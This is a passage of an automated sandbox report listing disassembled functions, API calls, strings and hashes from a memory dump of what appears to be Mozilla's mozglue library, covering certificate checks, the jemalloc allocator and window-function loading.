CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C946CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C946D26

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C946D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C946D73
free.MOZGLUE(00000000), ref: 6C946D80
CertGetNameStringW.CRYPT32 ref: 6C946DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C946DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C946DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C946E10
CryptMsgClose.CRYPT32(00000000), ref: 6C946E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C946E34
CreateFileW.KERNEL32 ref: 6C946EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C946F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C94709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C947103
free.MOZGLUE(00000000), ref: 6C947153
CloseHandle.KERNEL32(?), ref: 6C947176
__Init_thread_footer.LIBCMT ref: 6C947209
__Init_thread_footer.LIBCMT ref: 6C94723A
__Init_thread_footer.LIBCMT ref: 6C94726B
__Init_thread_footer.LIBCMT ref: 6C94729C
__Init_thread_footer.LIBCMT ref: 6C9472DC
__Init_thread_footer.LIBCMT ref: 6C94730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9473C2
VerSetConditionMask.NTDLL ref: 6C9473F3
VerSetConditionMask.NTDLL ref: 6C9473FF
VerSetConditionMask.NTDLL ref: 6C947406
VerSetConditionMask.NTDLL ref: 6C94740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C94741A
moz_xmalloc.MOZGLUE(?), ref: 6C94755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C947568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C947585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C947598
free.MOZGLUE(00000000), ref: 6C9475AC

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

SHA256, xrefs: 6C946EC0
(, xrefs: 6C94768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9472C8
wintrust.dll, xrefs: 6C9472CD

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction ID: 17f79a74ca427bfa6b7939602b769f3c006a7afbbcfcafd67549d235e6d8c0b8
Opcode Fuzzy Hash: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction Fuzzy Hash: 6152B4B5A04218ABEB21DF64CC84BAB77BDEF55708F108199E909A7640DB70EF84CF51

Function 6C966FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C967019
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C967061
EnterCriticalSection.KERNEL32(?), ref: 6C9671A4
LeaveCriticalSection.KERNEL32(?), ref: 6C96721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C96723E
EnterCriticalSection.KERNEL32(?), ref: 6C96726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9672B2
LeaveCriticalSection.KERNEL32(?), ref: 6C96733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9673E8
LeaveCriticalSection.KERNEL32(?), ref: 6C96961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C969622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C969642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9696CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9696DB
AcquireSRWLockExclusive.KERNEL32(6C9BE804), ref: 6C969747
GetSystemInfo.KERNEL32(?), ref: 6C969792
__Init_thread_footer.LIBCMT ref: 6C9697A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9BE810,00000040), ref: 6C9697CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7B8,00001388), ref: 6C969838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE744,00001388), ref: 6C96984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE784,00001388), ref: 6C969874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7DC,00001388), ref: 6C969895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C969BF4
Compile-time page size does not divide the runtime one., xrefs: 6C969B38
<jemalloc>, xrefs: 6C969B33, 6C969BE3
MALLOC_OPTIONS, xrefs: 6C9697CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9699BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9699A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C969933, 6C969A33, 6C969A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C969993
MOZ_CRASH(), xrefs: 6C969B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9699D2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 19de96db09779d1c40737b8686b9666b1ea885ce846b84a808f9a03aa6a833f6
Instruction ID: a42b571573ff47761fc1a8c8eb5fc493540cbb073f9d55dcd90d18710bc8cfde
Opcode Fuzzy Hash: 19de96db09779d1c40737b8686b9666b1ea885ce846b84a808f9a03aa6a833f6
Instruction Fuzzy Hash: 6C538071A057018FE704CF2AC580615FBE5BF86728F29C6ADE8698BBD1D771E841CB81

Function 6C970DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C970F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C970F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C970FB7
EnterCriticalSection.KERNEL32(?), ref: 6C970FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C971031
LeaveCriticalSection.KERNEL32(?), ref: 6C9710D0
EnterCriticalSection.KERNEL32(?), ref: 6C97117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C971C39
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C973391
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9733CD
LeaveCriticalSection.KERNEL32(?), ref: 6C973431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C973A02
Compile-time page size does not divide the runtime one., xrefs: 6C973946
<jemalloc>, xrefs: 6C973941, 6C9739F1
MALLOC_OPTIONS, xrefs: 6C9735FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9737BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9737A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C973559, 6C97382D, 6C973848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C973793
MOZ_CRASH(), xrefs: 6C973950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9737D2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction ID: cd048e443ed1b9c61974797cd4c2aa407e59845fcc28f15e1a294365737ba372
Opcode Fuzzy Hash: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction Fuzzy Hash: 9953AF71A16701CFC324CF29C590616FBE5BF86728F29C6ADE8699B791D331E801CB91

Function 6C9955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C96E1A5), ref: 6C995606
LoadLibraryW.KERNEL32(gdi32,?,6C96E1A5), ref: 6C99560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C995633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C99563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C99566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C99567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C995696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C995716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C99572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C995748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C995761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C99577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C995793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9957FF

Strings

user32, xrefs: 6C995601
ReleaseDC, xrefs: 6C995742
GetSystemMetricsForDpi, xrefs: 6C995677
MonitorFromWindow, xrefs: 6C99578D
StretchDIBits, xrefs: 6C9957CC
RegisterClassW, xrefs: 6C9956AC
SetWindowLongPtrW, xrefs: 6C9957B7
GetThreadDpiAwarenessContext, xrefs: 6C99562D
EnableNonClientDpiScaling, xrefs: 6C995666
CreateWindowExW, xrefs: 6C9956C5
AreDpiAwarenessContextsEqual, xrefs: 6C995637
SetWindowPos, xrefs: 6C9956F7
GetDpiForWindow, xrefs: 6C995690
GetWindowDC, xrefs: 6C995710
CreateSolidBrush, xrefs: 6C9957E4
LoadCursorW, xrefs: 6C995774
LoadIconW, xrefs: 6C99575B
ShowWindow, xrefs: 6C9956DE
GetMonitorInfoW, xrefs: 6C9957A2
FillRect, xrefs: 6C995729
DeleteObject, xrefs: 6C9957F9
gdi32, xrefs: 6C99560A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction ID: cb37504565391e647c10d45bd9ae77e411f71fa09c39ec61e38a4211fb38c9b3
Opcode Fuzzy Hash: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction Fuzzy Hash: 4C515878719702BBDB019F768E889373AFCAB4724A7344569F912E2A51EB70C800CF74

Function 6C9934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C993EE2

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9961DD
Part of subcall function 6C996180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C99622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994157

Part of subcall function 6C996180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C996250
Part of subcall function 6C996180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C99441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C99484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C994896
free.MOZGLUE ref: 6C99489F

Strings

, xrefs: 6C994CD2

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction ID: a80141e8c1041283da6c1b159c71dc6b8d8a6dbf8269f4b6c4ee7051b7bf5371
Opcode Fuzzy Hash: a0739932cd3869e0827bd6f0aed108167710dceab188122f6eacc9c15e3cb25e
Instruction Fuzzy Hash: 4DF25A74908B808FC721CF28C08469AFBF1FF99348F158A5ED99997711DB71E896CB42

Function 6C9464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C946505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C946518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C94671C
GetCurrentProcess.KERNEL32 ref: 6C946724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C94672F
GetCurrentProcess.KERNEL32 ref: 6C946759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C946764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C946A80
GetSystemInfo.KERNEL32(?), ref: 6C946ABE
__Init_thread_footer.LIBCMT ref: 6C946AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C946798
user32.dll, xrefs: 6C946526
nvdxgiwrap.dll, xrefs: 6C946513
nvd3d9wrap.dll, xrefs: 6C946500
_etoured.dll, xrefs: 6C9464ED
detoured.dll, xrefs: 6C9464DA

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction ID: 3605b48dd3e431b79443c227f5fc9814da9f328e576f23053270656c5524b57a
Opcode Fuzzy Hash: da1d75321dd85af357e701299d6bc13b7f39202ee3a3aad9bcf3994948bdfaea
Instruction Fuzzy Hash: 73F1C5B09056199FDF20CF64CC8879AB7B9AF45318F1482D9E809A7681D771EE84CF90

Function 6C9660A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9660C9
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C96610D
EnterCriticalSection.KERNEL32(?), ref: 6C96618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9661F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C966B6A
Compile-time page size does not divide the runtime one., xrefs: 6C966AAE
MALLOC_OPTIONS, xrefs: 6C966888
<jemalloc>, xrefs: 6C966AA9, 6C966B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C966BC7, 6C966F97, 6C966FB2
MOZ_CRASH(), xrefs: 6C966AB8

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 0dcb7e4c80caad515bdb7b438608aba8c59dbe1ce7a02372157b9df938197992
Instruction ID: 61bc6c7c9807778f72c2d2319af0aa48840d37e72d758eec18def914552a1e18
Opcode Fuzzy Hash: 0dcb7e4c80caad515bdb7b438608aba8c59dbe1ce7a02372157b9df938197992
Instruction Fuzzy Hash: ECA2AF71A097019FE704CF2AC590616BBE5FB85718F29C6ADE869DBBD1C771E840CB80

Function 6C99C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C99C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C99C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C99DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C99E472

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c55cbe7ff7ff680c4769c3df0ef152855f17cb3b9a2d45a27b48e8b1282de5c3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 78339C72E0021A8FCB14CFA8C8C06ADBBF6FF49314F288269D955AB755D731E945CB90

Function 6C94FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

<jemalloc>, xrefs: 6C950D62, 6C950D76, 6C950DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4
: (malloc) Error in VirtualFree(), xrefs: 6C950D67, 6C950D7B, 6C950DAC

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
